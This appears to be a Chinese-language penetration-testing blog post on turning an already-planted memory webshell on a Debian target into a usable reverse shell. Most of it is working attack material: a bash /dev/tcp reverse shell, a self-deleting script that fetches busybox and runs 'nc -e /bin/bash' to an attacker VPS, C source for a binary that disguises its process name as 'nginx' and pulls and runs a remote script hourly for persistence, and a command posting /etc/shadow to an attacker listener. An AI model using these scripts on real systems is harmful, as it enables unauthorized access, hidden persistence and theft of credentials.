有没有遇见过这种情况,我们在渗透的过程中,遇见的bash无法执行怎么办,或者目标机器没有nc怎么办,再或者,等等一系列原因导致你无法利用。这里就给大家准备几个脚本,改一改就行了
实战环境
目标机器:Debian系统,内存马已经执行 内存马传送门
我的环境:unbantu
首先,内存马的shell非常不好用,没办法提供正常的交流,但又无法直接弹bash,原因是内存马无法执行拼接命令 ,nc那是想都不用想了,目标机器都没装。
思路1:
利用内存马的进程注入特性,也算是个小的持久化。然后在我的服务器编写一个脚本命令为1 ,脚本的内容是bash反弹,并且删除原脚本,在利用内存马让目标机器去请求执行。
VPS脚本1:
bash -i >& /dev/tcp/x.x.x.x/8989 0>&1 &
rm $0 #删除当前这个脚本
VPS记得把脚本1用Python起个服务挂起来
python3 -m http.server 80
VPS上nc开启监听
nc -lvp 8989
目标机器内存shell执行:
curl http://x.x.x.x/1 -o /tmp/1
/bin/bash /tmp/1 #建议放到临时目录
这时候在查看vps上的bash回连nc8989端口看看是否成功
思路2:
这个时候奥,你发现,目标机器竟然禁用bash!!!或者说bash回链的权限非常低,这个时候,怎么办呢?我们采用nc链接,可是目标机器并没有安装nc,所以这时候我们用到一个工具 busybox ,他集成了linux常用命令和工具。
自己先在VPS上把这busybox下载下来
自己服务器先下载并且也一样用python挂在起来
wget https://busybox.net/downloads/binaries/1.20.0/busybox-x86_64
python3 -m http.server 80
VPS脚本2:
这个脚本2也要放到同级目录下并与busybox一起映射到80服务上
if [ ! -f /tmp/busybox ];then #判断当前机器tmp目录是否以安装busybox
wget http://x.x.x.x/busybox-x86_64 -O /tmp/busybox #从VPS80端口下载busybox 到tmp目录并取名busybox
chmod +x /tmp/busybox # 添加一个执行权限
fi
/tmp/busybox nc x.x.x.x 9999 -e /bin/bash & #用nc连接 9999端口
sleep 2 #延迟时间最好不要动
rm /tmp/busybox #删除busybox
rm $0 #删除当前脚本
VPS上 nc开启监听
nc -lvp 9999
目标内存shell执行:
让目标机器从我们VPS上下载脚本2并且执行脚本2的内容并且回弹nc
curl http://x.x.x.x/2 -o /tmp/2
/bin/bash /tmp/2
检查nc的回连状况,从自己开放的80端口看看目标机器是否下载
思路3:
这时候,你又发现,这特么的,你用nc也好,用bash也好,回连的都被kill掉了,进程摆在那里,你又没得办法,并且,每次都这样操作很麻烦,没办法持久化,那么,接下来就得让你们开开眼了。
首先我们弃用python开启服务,因为不确定因素太多,我们就采用nginx就行了。
把脚本放到nginx的/var/www/html 下
VPS3脚本,放进html目录下
if [ ! -f /tmp/busybox ];then #判断当前机器tmp目录是否以安装busybox
wget http://x.x.x.x/busybox-x86_64 -O /tmp/busybox #从VPS80端口下载busybox 到tmp目录并取名busybox
chmod +x /tmp/busybox # 添加一个执行权限
fi
/tmp/busybox nc x.x.x.x 443 -e /bin/bash & #用nc连接 443端口
sleep 2 #延迟时间最好不要动
rm /tmp/busybox #删除busybox
rm $0 #删除当前脚本
autobash.c 编译好后用python开启7878端口映射出去
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include<sys/prctl.h>
int main(int argc, char* argv[])
{
char *name = "nginx "; #这里是启动后进程的名称,可以修改我这里修改成nginx不容易办发现
strcpy(argv[0], name);
prctl(PR_SET_NAME, name);
while(1)
{
system("cd /tmp;wget -T 10 -O- http://x.x.x.x/3|bash &"); #
sleep(3600); #这里是时间3600秒一个小时回连一次
}
return 0;
}
开始编译autobash.c
apt -y install gcc #安装编译环境
gcc autobash.c -o autobash -static
strip -s autobash
mkdir au #新建文件夹
mv ./autobash /au #放进au文件夹里
python3 -m http.server 7878 #把au文件夹映射到80端口
开启监听
nc -lvp 443
内存shell执行以下命令
curl http://x.x.x.x:7878/autobash -o /tmp/autobash #保存到/tmp目录里
chmod +x /tmp/autobash
/bin/sh /tmp/autobash & #启动脚本
当autobash执行起来后,每隔1个小时会立刻请求VPS3脚本并且执行。
查看VPS里nginx下载情况
tail /var/log/nginx/access.log
暂时还搞不了正儿八经的持久化,搞出来了,在分享出来
其他姿势:
如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。
sudo wget —post-file = / etc / shadow 192.168.56.1:8080
攻击者的设置侦听器:nc –lvp 8080